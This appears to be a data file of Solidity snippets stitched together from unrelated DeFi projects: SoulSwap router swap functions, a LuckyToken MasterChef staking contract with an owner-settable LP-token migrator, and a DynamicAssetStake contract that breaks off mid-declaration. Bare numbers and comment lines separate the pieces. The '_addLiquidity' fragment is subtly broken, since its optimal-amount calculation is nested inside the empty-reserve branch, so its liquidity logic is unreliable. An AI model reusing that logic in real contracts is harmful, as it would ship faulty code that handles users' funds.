amountOutMin, address[] calldata path, address to, uint256 deadline ) external virtual override ensure(deadline) returns (uint256[] memory amounts) { amounts = SoulSwapLibrary.getAmountsOut(factory, amountIn, path); require( amounts[amounts.length - 1] >= amountOutMin, "SoulSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT"); TransferHelper.safeTransferFrom( path[0], msg.sender, SoulSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external virtual override ensure(deadline) returns (uint256[] memory amounts) { amounts = SoulSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, "SoulSwapRouter: EXCESSIVE_INPUT_AMOUNT"); TransferHelper.safeTransferFrom( path[0], msg.sender, SoulSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable virtual override ensure(deadline) returns (uint256[] memory amounts) { require(path[0] == WETH, "SoulSwapRouter: INVALID_PATH"); amounts = SoulSwapLibrary.getAmountsOut(factory, msg.value, path); require(amounts[amounts.length - 1] >= amountOutMin, "SoulSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT"); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(SoulSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); } function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external virtual override ensure(deadline) returns (uint256[] memory amounts) { require(path[path.length - 1] == WETH, "SoulSwapRouter: INVALID_PATH"); amounts = SoulSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, "SoulSwapRouter: EXCESSIVE_INPUT_AMOUNT"); TransferHelper.safeTransferFrom( path[0], msg.sender, SoulSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external virtual override ensure(deadline) returns (uint256[] memory amounts) { require(path[path.length - 1] == WETH, "SoulSwapRouter: INVALID_PATH"); amounts = SoulSwapLibrary.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, "SoulSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT"); TransferHelper.safeTransferFrom( path[0], msg.sender, SoulSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable virtual override ensure(deadline) returns (uint256[] memory amounts) { require(path[0] == WETH, "SoulSwapRouter: INVALID_PATH"); amounts = SoulSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, "SoulSwapRouter: EXCESSIVE_INPUT_AMOUNT"); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(SoulSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens( address[] memory path, address _to ) internal virtual { for (uint256 i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0, ) = SoulSwapLibrary.sortTokens(input, output); ISoulSwapPair pair = ISoulSwapPair(SoulSwapLibrary.pairFor(factory, input, output)); uint256 amountInput; uint256 amountOutput; { // scope to avoid stack too deep errors (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); (uint256 reserveInput, uint256 reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20(input).balanceOf(address(pair)).sub( reserveInput ); amountOutput = SoulSwapLibrary.getAmountOut( amountInput, reserveInput, reserveOutput ); } (uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOutput) : (amountOutput, uint256(0)); address to = i < path.length - 2 ? SoulSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external virtual override ensure(deadline) { TransferHelper.safeTransferFrom( path[0], msg.sender, SoulSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); uint256 balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, "SoulSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT" ); } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable virtual override ensure(deadline) { require(path[0] == WETH, "SoulSwapRouter: INVALID_PATH"); uint256 amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(SoulSwapLibrary.pairFor(factory, path[0], path[1]), amountIn)); uint256 balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require(IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, "SoulSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT"); } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external virtual override ensure(deadline) { require(path[path.length - 1] == WETH, "SoulSwapRouter: INVALID_PATH"); TransferHelper.safeTransferFrom( path[0], msg.sender, SoulSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); _swapSupportingFeeOnTransferTokens(path, address(this)); uint256 amountOut = IERC20(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, "SoulSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT"); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } // **** LIBRARY FUNCTIONS **** function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) public pure virtual override returns (uint256 amountB) { return SoulSwapLibrary.quote(amountA, reserveA, reserveB); } function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) public pure virtual override returns (uint256 amountOut) { return SoulSwapLibrary.getAmountOut(amountIn, reserveIn, reserveOut); } function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) public pure virtual override returns (uint256 amountIn) { return SoulSwapLibrary.getAmountIn(amountOut, reserveIn, reserveOut); } function getAmountsOut(uint256 amountIn, address[] memory path) public view virtual override returns (uint256[] memory amounts) { return SoulSwapLibrary.getAmountsOut(factory, amountIn, path); } function getAmountsIn(uint256 amountOut, address[] memory path) public view virtual override returns (uint256[] memory amounts) { return SoulSwapLibrary.getAmountsIn(factory, amountOut, path); } }
ADD LIQUIDITY create the pair if it doesn't exist yet
function _addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin ) internal virtual returns (uint256 amountA, uint256 amountB) { if (ISoulSwapFactory(factory).getPair(tokenA, tokenB) == address(0)) { ISoulSwapFactory(factory).createPair(tokenA, tokenB); } (uint256 reserveA, uint256 reserveB) = SoulSwapLibrary.getReserves(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); uint256 amountBOptimal = SoulSwapLibrary.quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require( amountBOptimal >= amountBMin, "SoulSwapRouter: INSUFFICIENT_B_AMOUNT" ); (amountA, amountB) = (amountADesired, amountBOptimal); uint256 amountAOptimal = SoulSwapLibrary.quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require( amountAOptimal >= amountAMin, "SoulSwapRouter: INSUFFICIENT_A_AMOUNT" ); (amountA, amountB) = (amountAOptimal, amountBDesired); } } }
15,255,339
pragma solidity 0.8.7; //SPDX-License-Identifier: UNLICENSED import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./LuckyToken.sol"; import "./SyrupBar.sol"; interface IMigratorChef { // Perform LP token migration from legacy LuckyPool to the new one. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to PancakeSwap LP tokens. // CakeSwap must mint EXACTLY the same amount of CakeSwap LP tokens or // else something bad will happen. Traditional PancakeSwap does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } contract MasterChef is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 rewardLockedUp; // Reward locked up. // // We do some fancy math here. Basically, any point in time, the amount of luckys // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accluckyPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accluckyPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. luckys to distribute per block. uint256 lastRewardBlock; // Last block number that luckys distribution occurs. uint256 accLuckyPerShare; // Accumulated luckys per share, times 1e12. See below. uint256 harvestTimestamp; // Harvest interval in unixtimestamp uint256 farmStartDate; //the timestamp of farm opening for users to deposit. } // The lucky TOKEN! LuckyToken public lucky; // The SYRUP TOKEN! SyrupBar public syrup; // Dev address. address public devAddress ; //declare the luckyBusd instance here IERC20 public luckyBusd ; // lucky tokens created per block. uint256 public luckyPerBlock; // Bonus muliplier for early lucky makers. uint256 public constant BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // check if the poolID was already added. mapping(address => bool) public isAddedPool; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when lucky mining starts. uint256 public startBlock; // Total locked up rewards uint256 public totalLockedUpRewards; uint256 private accumulatedRewardForDev; uint256 private constant capRewardForDev = 9 * 10**6 * 10**18; uint256 private devMintingRatio; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event LuckyPerBlockUpdated(address indexed caller, uint256 previousAmount, uint256 newAmount); event RewardLockedUp(address indexed user, uint256 indexed pid, uint256 amountLockedUp); event RewardPaid(address indexed user,uint256 indexed totalRewards); event PoolAdded(IERC20 indexed lpToken,uint256 indexed allocPoint,uint256 harvestTimestamp, uint256 farmStartTimestamp); event PoolSet(uint256 indexed pid,uint256 indexed allocPoint,uint256 harvestTimestampInUnix, uint256 farmStartTimestampInUnix); event MigratorSet(IMigratorChef indexed oldMigrator, IMigratorChef indexed migrator); event DevAddressSet(address indexed oldDevAddress,address indexed _devAddress); constructor( LuckyToken _lucky, SyrupBar _syrup, IERC20 _luckyBusd, address owner_, address _devAddress, uint256 _startBlock, uint256 _luckyPerBlock, uint256 _harvestIntervalInMinutes, uint256 _farmStartIntervalInMinutes ) { lucky = _lucky; syrup = _syrup; luckyBusd = _luckyBusd; startBlock = _startBlock; luckyPerBlock = _luckyPerBlock; devAddress = _devAddress; devMintingRatio = 1385; //13.85% transferOwnership(owner_); //add the pools add(40000,luckyBusd,_harvestIntervalInMinutes,_farmStartIntervalInMinutes); add(8000,lucky,_harvestIntervalInMinutes,_farmStartIntervalInMinutes); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. //note that 1x equals 1000 alloc point at the beginning. function add(uint256 _allocPoint, IERC20 _lpToken, uint256 _harvestIntervalInMinutes,uint256 _farmStartIntervalInMinutes) public onlyOwner { require(!isAddedPool[address(_lpToken)], "add: Duplicated LP Token"); uint256 _harvestTimestampInUnix = block.timestamp + (_harvestIntervalInMinutes *60); //*60 to convert from minutes to second. uint256 _farmStartTimestampInUnix = block.timestamp + (_farmStartIntervalInMinutes *60); massUpdatePools(); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accLuckyPerShare: 0, harvestTimestamp: _harvestTimestampInUnix, farmStartDate : _farmStartTimestampInUnix })); emit PoolAdded(_lpToken,_allocPoint,_harvestTimestampInUnix,_farmStartTimestampInUnix); isAddedPool[address(_lpToken)] = true; } // Update the given pool's lucky allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, uint256 _harvestIntervalInMinutes,uint256 _farmStartIntervalInMinutes) external onlyOwner { uint256 _harvestTimestampInUnix = block.timestamp + (_harvestIntervalInMinutes *60); //*60 to convert from minutes to second. uint256 _farmStartTimestampInUnix = block.timestamp + (_farmStartIntervalInMinutes *60); massUpdatePools(); totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].harvestTimestamp = _harvestTimestampInUnix; poolInfo[_pid].farmStartDate = _farmStartTimestampInUnix; emit PoolSet(_pid,_allocPoint,_harvestTimestampInUnix,_farmStartTimestampInUnix); } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } // View function to see pending luckys on frontend. function pendingLucky(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accLuckyPerShare = pool.accLuckyPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 luckyReward = multiplier.mul(luckyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accLuckyPerShare = accLuckyPerShare.add(luckyReward.mul(1e12).div(lpSupply)); } uint256 pending = user.amount.mul(accLuckyPerShare).div(1e12).sub(user.rewardDebt); return pending.add(user.rewardLockedUp); } // View function to see if user can harvest luckys. function canHarvest(uint256 _pid) public view returns (bool) { //UserInfo storage user = userInfo[_pid][_user]; PoolInfo storage pool = poolInfo[_pid]; return block.timestamp >= pool.harvestTimestamp; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) external onlyOwner { emit MigratorSet(migrator, _migrator); migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) external { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(!isAddedPool[address(newLpToken)], "migrate: Duplicated LP Token"); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; isAddedPool[address(pool.lpToken)] = true; } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0 || pool.allocPoint == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 luckyReward = multiplier.mul(luckyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); //new one // check at final to mint exact lucky to complete the round 9 million and 100 millions totalsupply uint256 luckyRewardForDev = luckyReward.mul(devMintingRatio).div(10000); //logic to prevent the minting exceeds the capped totalsupply //1st case, reward for dev will exceed Lucky's totalSupply so we limit the minting amount to syrup. if (luckyRewardForDev.add(lucky.totalSupply()) > lucky.cap() ) { uint256 remainingReward = lucky.cap().sub(lucky.totalSupply()); //in case that remainingReward > capped reward for dev. if (remainingReward.add(accumulatedRewardForDev) > capRewardForDev) { uint256 lastRemainingRewardForDev = capRewardForDev.sub(accumulatedRewardForDev); lucky.mint(devAddress,lastRemainingRewardForDev); accumulatedRewardForDev = accumulatedRewardForDev.add(lastRemainingRewardForDev); //the rest is minted to users. lucky.mint(address(syrup),lucky.cap().sub(lucky.totalSupply())); } //normal case that dev's caped reward has not been reached yet, but the totalSupply of Lucky is reached. else { lucky.mint(devAddress, remainingReward); //track the token that is minted to dev. accumulatedRewardForDev = accumulatedRewardForDev.add(remainingReward); } } //supply cap was not reached and capRewardForDevev still has room to mint for. else { //capRewardForDev is reached. if (luckyRewardForDev.add(accumulatedRewardForDev) > capRewardForDev) { uint256 lastRemainingRewardForDev = capRewardForDev.sub(accumulatedRewardForDev); lucky.mint(devAddress,lastRemainingRewardForDev); //track the token that is minted to dev. accumulatedRewardForDev = accumulatedRewardForDev.add(lastRemainingRewardForDev); //mint the left portion of dev to the pools. lucky.mint(address(syrup),luckyRewardForDev.sub(lastRemainingRewardForDev)); if (luckyReward.add(lucky.totalSupply()) > lucky.cap() ){ lucky.mint(address(syrup),lucky.cap().sub(lucky.totalSupply())); } else { lucky.mint(address(syrup),luckyReward); } } else { lucky.mint(devAddress,luckyRewardForDev); accumulatedRewardForDev = accumulatedRewardForDev.add(luckyRewardForDev); if (luckyReward.add(lucky.totalSupply()) > lucky.cap() ){ lucky.mint(address(syrup),lucky.cap().sub(lucky.totalSupply())); } else{ lucky.mint(address(syrup),luckyReward); } } } pool.accLuckyPerShare = pool.accLuckyPerShare.add(luckyReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for lucky allocation. function deposit(uint256 _pid, uint256 _amount) external nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(pool.farmStartDate <= block.timestamp,"unable to deposit before the farm starts."); //can not harvest(deposit 0) before the harvestTimestamp. if (!canHarvest(_pid) && _amount==0){ require(pool.harvestTimestamp <= block.timestamp,"can not harvest before the harvestTimestamp" ); //newly added } updatePool(_pid); payOrLockupPendingLucky(_pid); if (_amount > 0) { uint256 currentBal = pool.lpToken.balanceOf(address(this)); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); uint256 receivedAmount = pool.lpToken.balanceOf(address(this)) - currentBal; user.amount = user.amount.add(receivedAmount); } user.rewardDebt = user.amount.mul(pool.accLuckyPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) external nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); payOrLockupPendingLucky(_pid); if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accLuckyPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) external nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; user.rewardLockedUp = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Pay or lockup pending luckys. function payOrLockupPendingLucky(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 pending = user.amount.mul(pool.accLuckyPerShare).div(1e12).sub(user.rewardDebt); if (canHarvest(_pid)) { if (pending > 0 || user.rewardLockedUp > 0) { uint256 totalRewards = pending.add(user.rewardLockedUp); // reset lockup totalLockedUpRewards = totalLockedUpRewards.sub(user.rewardLockedUp); user.rewardLockedUp = 0; // send rewards safeLuckyTransfer(msg.sender, totalRewards); emit RewardPaid(msg.sender,totalRewards); } } else if (pending > 0) { user.rewardLockedUp = user.rewardLockedUp.add(pending); totalLockedUpRewards = totalLockedUpRewards.add(pending); emit RewardLockedUp(msg.sender, _pid, pending); } } // Safe lucky transfer function, just in case if rounding error causes pool to not have enough luckys. function safeLuckyTransfer(address _to, uint256 _amount) internal { syrup.safeLuckyTransfer(_to, _amount); } // Update dev address by the previous dev. function setDevAddress(address _devAddress) external onlyOwner{ require(_devAddress != address(0), "setDevAddress: ZERO"); emit DevAddressSet(devAddress,_devAddress); devAddress = _devAddress; } //transfer lucky ownership to the new owner for migration function transferLuckyOwnership(address newOwner) external onlyOwner { require(newOwner!=address(0),"Ownable: new owner is the zero address"); lucky.transferOwnership(newOwner); } // Pancake has to add hidden dummy pools in order to alter the emission, here we make it simple and transparent to all. function updateLuckyPerBlock(uint256 _luckyPerBlock) external onlyOwner { massUpdatePools(); emit LuckyPerBlockUpdated(msg.sender, luckyPerBlock, _luckyPerBlock); //this is the new one uint256 prevLuckyPerBlock = luckyPerBlock; if (prevLuckyPerBlock !=_luckyPerBlock){ luckyPerBlock = _luckyPerBlock; } } function getBlockNumber () public view returns(uint256){ return block.number; } function getBlockTimestamp () public view returns(uint256){ return block.timestamp; } //return countdown time in second of the pool id when user can harvest their reward. function harvestCountdown(uint8 _poolID) public view returns(uint256){ if (poolInfo[_poolID].harvestTimestamp >=block.timestamp ){ return poolInfo[_poolID].harvestTimestamp - block.timestamp; } else{ return 0; } } //return countdown time in second of the pool id when user can deposit into that pool. function farmStartCountdown(uint8 _poolID) public view returns(uint256){ if (poolInfo[_poolID].farmStartDate >= block.timestamp ){ return poolInfo[_poolID].farmStartDate - block.timestamp; } else{ return 0; } } }
Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) external { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(!isAddedPool[address(newLpToken)], "migrate: Duplicated LP Token"); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; isAddedPool[address(pool.lpToken)] = true; }
7,214,383
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /* * @title BARIS ATALAY * @dev Set & change owner * * @IMPORTANT Reward tokens to be distributed to the stakers must be deposited into the contract. * */ contract DynamicAssetStake is Context, Ownable{ event Stake(address indexed from, uint256 amount); event UnStake(address indexed from, uint256 amount); event YieldWithdraw(address indexed to); struct PendingRewardResponse{ // Model of showing pending awards bytes32 name; // Byte equivalent of the name of the pool token uint256 amount; // TODO... uint id; // Id of Reward } struct RewardDef{ address tokenAddress; // Contract Address of Reward token uint256 rewardPerSecond; // Accepted reward per second bytes32 name; // Byte equivalent of the name of the pool token uint8 feeRate; // Fee Rate for Reward Harvest uint id; // Id of Reward } struct PoolDef{ address tokenAddress; // Contract Address of Pool token uint rewardCount; // Amount of the reward to be won from the pool uint id; // Id of pool bool active; // Pool active status } struct PoolDefExt{ uint256 expiryTime; // The pool remains active until the set time uint256 createTime; // Pool creation time bytes32 name; // Byte equivalent of the name of the pool token } struct PoolVariable{ // Only owner can edit uint256 balanceFee; // Withdraw Fee for contract Owner; uint256 lastRewardTimeStamp; // Last date reward was calculated uint8 feeRate; // Fee Rate for UnStake } struct PoolRewardVariable{ uint256 accTokenPerShare; // Token share to be distributed to users uint256 balance; // Pool Contract Token Balance } // Info of each user struct UserDef{ address id; // Wallet Address of staker uint256 stakingBalance; // Amount of current staking balance uint256 startTime; // Staking start time } struct UserRewardInfo{ uint256 rewardBalance; } uint private stakeIDCounter; //Pool ID => PoolDef mapping(uint => PoolDef) public poolList; //Pool ID => Underused Pool information mapping(uint => PoolDefExt) public poolListExtras; //Pool ID => Pool Variable info mapping(uint => PoolVariable) public poolVariable; //Pool ID => (RewardIndex => RewardDef) mapping(uint => mapping(uint => RewardDef)) public poolRewardList; //Pool ID => (RewardIndex => PoolRewardVariable) mapping(uint => mapping(uint => PoolRewardVariable)) public poolRewardVariableInfo; //Pool ID => (RewardIndex => Amount of distributed reward to staker) mapping(uint => mapping(uint => uint)) public poolPaidOut; //Pool ID => Amount of Stake from User mapping(uint => uint) public poolTotalStake; //Pool ID => (User ID => User Info) mapping(uint => mapping(address => UserDef)) poolUserInfo; //Pool ID => (User ID => (Reward Id => Reward Info)) mapping (uint => mapping(address => mapping(uint => UserRewardInfo))) poolUserRewardInfo; using SafeMath for uint; using SafeERC20 for IERC20; constructor(){ stakeIDCounter = 0; } /// @notice Updates the deserved rewards in the pool /// @param _stakeID Id of the stake pool function UpdatePoolRewardShare(uint _stakeID) internal virtual { uint256 lastTimeStamp = block.timestamp; PoolVariable storage selectedPoolVariable = poolVariable[_stakeID]; if (lastTimeStamp <= selectedPoolVariable.lastRewardTimeStamp) { lastTimeStamp = selectedPoolVariable.lastRewardTimeStamp; } if (poolTotalStake[_stakeID] == 0) { selectedPoolVariable.lastRewardTimeStamp = block.timestamp; return; } uint256 timeDiff = lastTimeStamp.sub(selectedPoolVariable.lastRewardTimeStamp); //..:: Calculating the reward shares of the pool ::.. uint rewardCount = poolList[_stakeID].rewardCount; for (uint i=0; i<rewardCount; i++) { uint256 currentReward = timeDiff.mul(poolRewardList[_stakeID][i].rewardPerSecond); poolRewardVariableInfo[_stakeID][i].accTokenPerShare = poolRewardVariableInfo[_stakeID][i].accTokenPerShare.add(currentReward.mul(1e36).div(poolTotalStake[_stakeID])); } //..:: Calculating the reward shares of the pool ::.. selectedPoolVariable.lastRewardTimeStamp = block.timestamp; } /// @notice Lists the rewards of the transacting user in the pool /// @param _stakeID Id of the stake pool /// @return Reward model list function showPendingReward(uint _stakeID) public virtual view returns(PendingRewardResponse[] memory) { UserDef memory user = poolUserInfo[_stakeID][_msgSender()]; uint256 lastTimeStamp = block.timestamp; uint rewardCount = poolList[_stakeID].rewardCount; PendingRewardResponse[] memory result = new PendingRewardResponse[](rewardCount); for (uint RewardIndex=0; RewardIndex<rewardCount; RewardIndex++) { uint _accTokenPerShare = poolRewardVariableInfo[_stakeID][RewardIndex].accTokenPerShare; if (lastTimeStamp > poolVariable[_stakeID].lastRewardTimeStamp && poolTotalStake[_stakeID] != 0) { uint256 timeDiff = lastTimeStamp.sub(poolVariable[_stakeID].lastRewardTimeStamp); uint256 currentReward = timeDiff.mul(poolRewardList[_stakeID][RewardIndex].rewardPerSecond); _accTokenPerShare = _accTokenPerShare.add(currentReward.mul(1e36).div(poolTotalStake[_stakeID])); } result[RewardIndex] = PendingRewardResponse({ id: RewardIndex, name: poolRewardList[_stakeID][RewardIndex].name, amount: user.stakingBalance .mul(_accTokenPerShare) .div(1e36) .sub(poolUserRewardInfo[_stakeID][_msgSender()][RewardIndex].rewardBalance) }); } return result; } /// @notice Withdraw assets by pool id /// @param _stakeID Id of the stake pool /// @param _amount Amount of withdraw asset function unStake(uint _stakeID, uint256 _amount) public { require(_msgSender() != address(0), "Stake: Staker address not specified!"); //IERC20 selectedToken = getStakeContract(_stakeID); UserDef storage user = poolUserInfo[_stakeID][_msgSender()]; require(user.stakingBalance > 0, "Stake: does not have staking balance"); // Amount leak control if (_amount > user.stakingBalance) _amount = user.stakingBalance; // "_amount" removed to Total staked value by Pool ID if (_amount > 0) poolTotalStake[_stakeID] = poolTotalStake[_stakeID].sub(_amount); UpdatePoolRewardShare(_stakeID); sendPendingReward(_stakeID, user, true); uint256 unStakeFee; if (poolVariable[_stakeID].feeRate > 0) unStakeFee = _amount .mul(poolVariable[_stakeID].feeRate) .div(100); // Calculated unStake amount after commission deducted uint256 finalUnStakeAmount = _amount.sub(unStakeFee); // ..:: Updated last user info ::.. user.startTime = block.timestamp; user.stakingBalance = user.stakingBalance.sub(_amount); // ..:: Updated last user info ::.. if (finalUnStakeAmount > 0) getStakeContract(_stakeID).safeTransfer(_msgSender(), finalUnStakeAmount); emit UnStake(_msgSender(), _amount); } /// @notice Structure that calculates rewards to be distributed for users /// @param _stakeID Id of the stake pool /// @param _user Staker info /// @param _subtractFee If the value is true, the commission is subtracted when calculating the reward. function sendPendingReward(uint _stakeID, UserDef memory _user, bool 